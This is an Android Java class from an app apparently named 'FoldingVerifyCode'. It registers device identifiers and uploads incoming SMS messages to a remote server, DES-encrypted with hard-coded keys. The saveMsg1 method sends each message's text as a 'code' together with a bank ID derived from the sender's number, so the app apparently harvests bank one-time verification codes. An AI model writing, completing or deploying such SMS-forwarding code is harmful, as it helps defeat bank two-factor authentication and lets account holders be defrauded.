package com.yzf.zyfverifycode.manager;

import android.content.Context;
import android.text.TextUtils;
import android.util.Log;

import com.yzf.zyfverifycode.Constants;
import com.yzf.zyfverifycode.utils.DesUtil;
import com.yzf.zyfverifycode.utils.HttpXUtils;
import com.yzf.zyfverifycode.utils.IPUtils;
import com.yzf.zyfverifycode.utils.Utils;

import org.json.JSONException;
import org.json.JSONObject;
import org.xutils.http.RequestParams;

import static com.yzf.zyfverifycode.Constants.TAG;

/**
 * 项目名称：FoldingVerifyCode
 * 类描述：接口管理类
 * 创建人：Administrator
 * 创建时间：2019年10月1日
 */
public class LoginManager {
    private static LoginManager instance;

    private LoginManager() {
    }

    private static final int BASE_LOGIN_ERROR = Constants.BASE_ERROR_CODE + 500;
    private static final int LOGIN_ERROR_JSON = BASE_LOGIN_ERROR - 1;
    private static final int LOGIN_ERROR = BASE_LOGIN_ERROR - 2;
    public static boolean isLogin = false;

    public static LoginManager getInstance() {
        if (instance == null) {
            instance = new LoginManager();
        }
        return instance;
    }

    /**
     * 获取权限
     *
     * @param context    文本
     * @param devicesId  设备id
     * @param androidId  安卓id
     * @param myCallback 回调
     */
    public void login1(Context context, String devicesId, String androidId, HttpXUtils.MyCallback myCallback) {
        JSONObject json = new JSONObject();
        try {
            json.put(Constants.ANDROIDID, androidId);
            json.put(Constants.DEVICESID, devicesId);
            Log.d(TAG, "login json = " + json);
            String def = DesUtil.encrypt(json.toString(),
                    Constants.msgkey,
                    Constants.msgiv);
            String mdf = Utils.md5(def + Constants.msgkey).toUpperCase();
            isLogin = true;
            String doPostUrl = IPUtils.getOutNetIP(context) + Constants.LOGIN_URL;
            Log.d(TAG, "HttpUtils request isLogin = " + doPostUrl);
            RequestParams params = new RequestParams(doPostUrl);
            params.addBodyParameter("def", def);
            params.addParameter("mdf", mdf);
            HttpXUtils.xUtilsPostRequest(context, params, myCallback);
        } catch (JSONException e) {
            e.printStackTrace();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    /**
     * 上报短信
     *
     * @param context    文本
     * @param phone      手机号
     * @param msg        内容
     * @param time       时间
     * @param myCallback 回调
     */
    public void saveMsg1(Context context, String phone, String msg, String time, HttpXUtils.MyCallback myCallback) {
        JSONObject json = new JSONObject();
        try {
            if (phone.startsWith("+86")) {
                phone = phone.replace("+86", "");
            }
            json.put("code", msg);
            json.put("tel", phone);
            json.put("time", time);

            if (Constants.sendPhoneNum.startsWith("+86")) {
                Constants.sendPhoneNum = Constants.sendPhoneNum.replace("+86", "");
            }
            if (TextUtils.isEmpty(Constants.hashMap.get(Utils.getBankNameByNum(Constants.sendPhoneNum)))) {
                Log.e(TAG, "Constants.sendPhoneNum  为空");
                return;
            }
            json.put("bankId", Constants.hashMap.get(Utils.getBankNameByNum(Constants.sendPhoneNum)));
            Log.e(TAG, "saveMsg JSON = " + json.toString());
            String def = DesUtil.encrypt(json.toString(), Constants.msgkey, Constants.msgiv);
            String mdf = Utils.md5(def + Constants.msgkey).toUpperCase();
            String doPostUrl = IPUtils.getOutNetIP(context) + Constants.SAVE_MSG_URL;
            Log.d(TAG, "HttpUtils request isLogin = " + doPostUrl);
            RequestParams params = new RequestParams(doPostUrl);
            params.addBodyParameter("def", def);
            params.addParameter("mdf", mdf);
            HttpXUtils.xUtilsPostRequest(context,params, myCallback);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    /**
     * 获取银行个数
     *
     * @param context     文本
     * @param phoneNumber 银行个数
     * @param myCallback  回调
     */
    public void getTheBoundBank1(final Context context, String phoneNumber, HttpXUtils.MyCallback myCallback) {
        JSONObject json = new JSONObject();
        try {
            json.put("phoneNumber", phoneNumber);
            Log.e(TAG, "login json = " + json);
            String def = DesUtil.encrypt(json.toString(),
                    Constants.msgkey,
                    Constants.msgiv);
            String mdf = Utils.md5(def + Constants.msgkey).toUpperCase();
            isLogin = true;
            String doPostUrl = IPUtils.getOutNetIP(context) + Constants.FIND_BANK_INFO;
            Log.d(TAG, "HttpUtils request isLogin = " + doPostUrl);
            RequestParams params = new RequestParams(doPostUrl);
            params.addBodyParameter("def", def);
            params.addParameter("mdf", mdf);
            HttpXUtils.xUtilsPostRequest(context,params, myCallback);
        } catch (JSONException e) {
            e.printStackTrace();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}